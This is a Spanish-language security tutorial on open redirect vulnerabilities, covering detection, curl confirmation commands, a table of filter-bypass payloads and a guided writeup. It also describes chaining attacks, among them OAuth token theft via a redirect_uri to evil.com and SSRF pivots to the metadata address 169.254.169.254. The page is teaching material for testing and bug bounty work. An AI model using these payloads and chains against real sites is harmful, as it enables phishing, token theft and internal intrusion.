Saltar al contenido
Vulnerabilidades
Índice de contenidos

Open Redirect (Redirección Abierta)

Un Open Redirect ocurre cuando una web redirige al usuario a una URL que él controla, sin validarla. Por sí solo es de impacto bajo-medio (phishing), pero es muy valioso como pieza de encadenamiento: potencia SSRF, robo de tokens OAuth y bypass de filtros.


Cómo se ve

Parámetros que controlan a dónde te lleva la web tras una acción (login, logout, “volver a”):

http://<IP>/login?next=/dashboard
http://<IP>/redirect?url=https://sitio.com
http://<IP>/out?to=/home

Cámbialo por un dominio externo:

http://<IP>/redirect?url=https://evil.com

Si el navegador acaba en evil.com → Open Redirect.

Parámetros típicos a probar: url, next, redirect, return, returnUrl, dest, destination, continue, r, u, to, out, view, callback.


Bypass de validaciones

Si filtran dominios externos, estos trucos suelen colarse:

TécnicaPayload
Barra doble / sin esquema//evil.com, /\evil.com, \/\/evil.com
Arroba (userinfo)https://[email protected]
Subdominio que contiene el permitidohttps://sitio.com.evil.com
Prefijo que parece rutahttps://evil.com/sitio.com, https://evil.com#sitio.com
Barra invertida (navegadores la normalizan)https:/\evil.com, https://evil.com\@sitio.com
Codificación%2F%2Fevil.com, https://evil%E3%80%82com (punto unicode)
Redirección relativa abusable/%0d/evil.com

Consejo: muchos filtros solo comprueban que la URL “empiece por /” o “contenga el dominio propio”. //evil.com empieza por / pero el navegador lo trata como protocolo-relativo → va a evil.com. Y [email protected] contiene el dominio permitido pero navega a evil.com.


Encadenamientos (donde está el valor real)

Robo de token OAuth / código de autorización

Si un flujo OAuth usa un redirect_uri vulnerable a open redirect, el código/token de la víctima acaba en tu dominio:

https://login.sitio.com/authorize?...&redirect_uri=https://sitio.com/cb?next=//evil.com

Potenciar un SSRF

Un SSRF con filtro de dominio se salta apuntando a una URL tuya que redirige (302) al recurso interno (http://169.254.169.254/...).

Bypass de listas blancas de enlaces

Convierte un enlace “confiable” (el dominio de la víctima) en un salto a tu sitio malicioso para phishing creíble.


Cómo probarlo

curl -s -I "http://<IP>/redirect?url=https://evil.com" | grep -i location

Si Location: apunta a evil.com (o a tu payload de bypass), es vulnerable.


Herramientas relacionadas

HerramientaDescripción
Burp SuiteDetectar parámetros de redirección y probar bypass.
ffuf / arjunDescubrir parámetros ocultos de redirección.
curl -IVer la cabecera Location de la respuesta.

Consejo: el open redirect rara vez es el objetivo final; su fuerza está en encadenarlo. Cuando audites OAuth, SSRF o filtros de URL, comprueba siempre si hay un redirect abierto que puedas usar como trampolín. Prueba primero //evil.com y @evil.com: superan la mayoría de validaciones ingenuas.


Dónde practicar el Open Redirect

RecursoTipoEnlace
PortSwigger Academy — DOM-based open redirectionLabs gratishttps://portswigger.net/web-security/dom-based/open-redirection
PortSwigger Academy — SSRF (encadena con redirect)Labs gratishttps://portswigger.net/web-security/ssrf
Programas de bug bounty (open redirect es común)Práctica realhttps://hackerone.com

Writeup guiado: detectar y confirmar un open redirect

  1. Localizar
    Un parámetro que controle la URL de redirección.
  2. Probar
    Apuntarlo a un dominio externo.
  3. Confirmar
    La respuesta redirige (302) o el navegador acaba fuera.
  4. Saltar filtros
    Si bloquea externos, usar //evil.com o @evil.com.

Paso 1 — Localizar y probar

Busca parámetros tipo url, next, redirect, returnUrl. Prueba:

http://objetivo/redirect?url=https://evil.com

Paso 2 — Confirmar

curl -s -I "http://objetivo/redirect?url=https://evil.com" | grep -i location
# Location: https://evil.com   -> vulnerable

Paso 3 — Saltar filtros (si bloquea externos)

//evil.com
https://[email protected]
https://objetivo.com.evil.com
/%2f%2fevil.com

Consejo: el open redirect brilla encadenado: en los labs de SSRF de PortSwigger lo usas para saltarte una lista blanca (tu URL redirige al recurso interno), y en OAuth sirve para robar el código/token. Prueba //evil.com y @evil.com primero: superan la mayoría de validaciones.